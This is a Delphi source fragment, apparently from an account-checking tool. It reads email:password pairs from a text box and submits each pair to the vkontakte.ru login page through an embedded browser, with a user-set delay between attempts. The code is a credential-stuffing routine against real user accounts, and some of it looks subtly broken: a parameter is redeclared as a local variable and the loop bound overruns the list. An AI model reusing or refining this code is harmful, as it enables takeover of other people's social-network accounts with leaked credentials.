procedure TForm1.html_kod(HTMLDocument: IHTMLDocument2);
var    HTMLDocument: IHTMLDocument2;
 begin
  memo3.Clear;   
  HTMLDocument := WebBrowser1.Document as IHTMLDocument2;  
 Memo3.Text := (HTMLDocument.all.Item(1, 0) as IHTMLElement).OuterHTML; 
 end;

procedure TForm1.Button2Click(Sender: TObject);  var  RegExp: TRegExpr;  ss,s: String;  i,j,z:integer;  HTMLDocument: IHTMLDocument2;  begin  Z:=StrToInt(edit3.Text);  i:=0;  While i<= Memo1.Lines.Count do  begin    if I<=Memo1.Lines.Count then begin   RegExp := TRegExpr.Create;    RegExp.Expression := '[_a-zA-Z\d\-\.]+@([_a-zA-Z\d\-]+(\.[_a-zA-Z\d\-]+)+)';   if RegExp.Exec(Memo1.lines[i]) then begin    edit1.Text:= RegExp.Match[0];    RegExp.Expression := ':([^\s]+)';    if RegExp.Exec(Memo1.lines[i]) then begin    ss:=RegExp.Match[0];   Delete(ss, 1, 1); end;    edit2.Text:=ss;      s:='http://vkontakte.ru/login.php?email='+edit1.text+'&pass='+edit2.text+'&HTTP/1.0';      WebBrowser1.Navigate(s);   Sleep(Z);  end;    I:=i+1;  end;  end;  end;